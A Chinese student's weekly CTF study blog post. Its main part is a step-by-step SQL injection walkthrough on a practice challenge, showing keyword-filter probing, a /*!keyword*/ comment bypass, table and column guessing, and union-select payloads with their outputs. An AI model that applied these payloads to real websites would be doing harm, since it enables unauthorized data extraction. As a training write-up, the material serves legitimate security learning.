Secat's Blog

学习·记录

这世界变化快的真是铃儿响叮当


第十周总结

0x00

这周把学习重点放在了python的常用脚本编写和kali的相关知识。做的CTF题有些少,但是做的比以往更细。
通过两次组内赛发现对于web,虽然我大致能知道考察的什么,但是单凭自己的印象不查找资料就无从下手(尤其是SQL注入),所以在实验吧上找了几个注入题做,记了一道比较简单但是经典的题。

0x01 CTF_shiyanbarar

最低位的亲吻
本来看题目以为是LSB,结果把图片格式用win10自带画图转换一下再用stgesolve打开会看到一个二维码,扫一下就行啦。 从这个题了解到一些BMP8位灰度图的相关知识。

*我们平时所见到的黑白照片严格来说叫灰度图,只有由纯黑和纯白两种颜色组成的图片才叫黑白照片。 http://blog.csdn.net/okaimee/article/details/5562515

简单的SQL注入
首先查看网页源代码

<html>
<head>
<title>1</title>
</head>
<body>
<div style="text-align:center">
<h2>flag<h2>
<h3>到底过滤了什么东西?<h3>
<form action="" method="get">
<input name="id" type="text"/>
<input type="submit" />
</form>

发现了GET方法,继续试

http://ctf5.shiyanbar.com/423/web/index.php?id=1
ID: 1
name: baloteli

http://ctf5.shiyanbar.com/423/web/index.php?id=2
ID: 2
name: kanawaluo

http://ctf5.shiyanbar.com/423/web/index.php?id=3
ID: 3
name: dengdeng

http://ctf5.shiyanbar.com/423/web/index.php?id=4
无返回值

等等,题目有提示“到底过滤了什么?”,那么一定有关键字被过滤,想想常见的关键字,挨个试试

http://ctf5.shiyanbar.com/423/web/index.php?id=1 and 1=1
ID: 1 1=1
name: baloteli
#and被过滤掉了

一个一个试太麻烦了,我就把常用的一些关键词一起写上去,这样很容易就能看出来哪些被过滤了。

http://ctf5.shiyanbar.com/423/web/index.php?id=1' union select or and by order from where version()
ID: 1' or version()
name: baloteli

知道哪些关键词被过滤之后就开始找绕过方法,多次尝试和查找资料得知,/!关键词/这种方法可以绕过

接下来是猜各种名字

猜表名
http://ctf5.shiyanbar.com/423/web/?id=' or /*!exists*/ (/*!select*/ * /*!from*/ flag ) /*!and*/ ''='

ID: ' or /*!exists*/ (/*!select*/ * /*!from*/ flag ) /*!and*/ ''='
name: baloteli

ID: ' or /*!exists*/ (/*!select*/ * /*!from*/ flag ) /*!and*/ ''='
name: kanawaluo

ID: ' or /*!exists*/ (/*!select*/ * /*!from*/ flag ) /*!and*/ ''='
name: dengdeng

猜列名
http://ctf5.shiyanbar.com/423/web/?id=' or /*!exists*/ (/*!select*/ id /*!from*/ flag ) /*!and*/ ''='
把id换成name也可以查询到

进行联合查询

http://ctf5.shiyanbar.com/423/web/?id=' /*!union*/ /*!select*/ 1,2 /*!from*/ flag /*!where*/ ''='

The used SELECT statements have a different number of columns
#两列报错,换成一列试试
http://ctf5.shiyanbar.com/423/web/?id=' /*!union*/ /*!select*/ 1 /*!from*/ flag /*!where*/ ''='

ID: ' /*!union*/ /*!select*/ 1 /*!from*/ flag /*!where*/ ''='
name: 1
#这里有一列
http://ctf5.shiyanbar.com/423/web/?id=' /*!union*/ /*!select*/ flag /*!from*/ flag /*!where*/ ''='
ID: ' /*!union*/ /*!select*/ flag /*!from*/ flag /*!where*/ ''='
name: flag{Y0u_@r3_5O_dAmn_90Od}

0x02

python一开始是跟着廖雪峰网站一步一步学的,不过发现这样学效率太低了,然后继续我学习C和C++的办法——先抄代码查资料然后自己写,果然比只看不敲会的快。 跟着写了base解码(循环嵌套)脚本,rot脚本,凯撒脚本等这些在CTF常见的几种解码。这些都是比较基础的,想找个题写个稍微复杂的脚本来着,结果发现学校CTF平台给关了,我还留了一个需要脚本的题交flag呢==、

至于kali,自己动手装了一遍,由于上周把出现的问题基本都解决完了,所以安装挺顺利的。跟着安全牛上的课程看了几节,发现讲的既啰嗦又慢,而且还扯一些别的,觉得还是找找别的资源看+动手尝试比较好

下周目标:继续python脚本学习,kali的基本操作,web_php部分

签到终于连上了,本来打算周六交的结果一直刷新不出来,不敢再写啥了,赶紧交了再说==、

THANKS

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码支持

^_^